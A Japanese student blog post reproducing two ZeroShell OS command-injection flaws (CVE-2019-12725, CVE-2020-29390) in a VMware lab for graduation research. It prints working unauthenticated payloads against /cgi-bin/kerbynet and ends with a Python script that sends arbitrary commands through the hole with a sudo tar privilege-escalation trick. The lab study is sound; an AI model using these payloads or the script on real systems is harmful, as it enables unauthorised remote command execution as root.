Zuck3r’s Study

エンジニアではありません

ZeroShellの脆弱性を再現して試してみた(CVE-2019-12725, CVE-2020-29390)

初めに

今回、何を書くかというとタイトルの通りZeroShellの脆弱性を再現したいと思っています。
思い立った理由としては、現在卒業研究の内容で扱っているからです。 f:id:Zuck3r:20210508030607p:plain

本題

では、内容に入って来たいのですがどういう脆弱性検証するの?ってなりますよね。 今回取り扱う内容は、CVE-2019-12725CVE-2020-29390を検証していきます。
それでは、それぞれの違いについて少し触れていきたいと思います。

CVE-2019-12725とは

ZeroShell Ver3.9.0に存在するRCE。WebアプリケーションがHTTPパラメーターを誤って処理するために起きる。いわゆる、OSコマンドインジェクションという部類です。因みに、権限昇格まで行う事が出来ます。

CVE-2020-29390とは

ZeroShell Ver3.9.3に存在するRCE(過去のバージョンも影響を受ける)。起きる原因は上と一緒です。では、何が違うのかという普通になりますが、こちらそれぞれでインジェクションされるパラメータが異なります。

OSのインストール

こちらのサイトからインストールしてください。インストールするものは、ZeroShell-3.9.0-X86.isoです。このバージョンだったら3.9.3の脆弱性も再現できます。逆に、3.9.3を入れてCVE-2019-12725にパッチが当たっているのを確認するのも良いと思います

環境構築

私は、VMWareを使って構築しました。以下の動画に沿って行えば問題なく作成できます。気を付けるべき点としては、IPアドレスのどのレンジがVMWareに充てられているかに注意してIPアドレスを設定するところだと感じました。

www.youtube.com

攻撃してみる

先ずは、CVE-2019-12725から。今回は、普通のユーザでコマンドを動かせることを確認したいと思います。権限昇格のペイロードは是非調べてみて下さい。以下がペイロードです。なお今回はwhoamiコマンドを実行してみます。

#ペイロード
/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509view&User=Admin&x509type='%0Awhoami%0A'

こちらが結果です。ユーザーApacheで動いていることが分かります。 f:id:Zuck3r:20210508230219p:plain では、次はCVE-2020-29390を検証していきたいと思います。こちらも、先ほどと同じように動かしていきます。では、以下がペイロードです。パラメータが違うのが分かりますね。

#ペイロード
/cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%0awhoami%0a%27&PW=

こちらが結果です。apacheで動いている事がこちらでも分かります。 f:id:Zuck3r:20210508230619p:plain

2つを見比べて気付いた事

両方に共通すること
・シェルメタ文字と%0a文字を使用してコマンド実行を可能にしている
・/cgi-bin/kerbynetが攻撃の起点となっている
・どちらも、HTTPリクエストから攻撃を行いことが出来、比較的容易である。

最後に

やはり、文字のサニタイズって大事だなと言うのと、感じたのとこまめなアップデートも不可欠だと感じました。 これからも、研究内容的にこういった事に触れる機会が増えることが予想されるのでより意味や、理由をしっかり理解していきたいなと思っています。
おまけで作ったリバースシェル的なものも載せておこうと思います。$OWN_IPを良しなに変えることで使うことが出来ます。

import requests

base_url = "http://$OWN_IP"

for i in range(10):
    command = str(input())
    payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=" + command + "%0A%27"
    res = requests.get(base_url + payload)
    print(res.text[:100])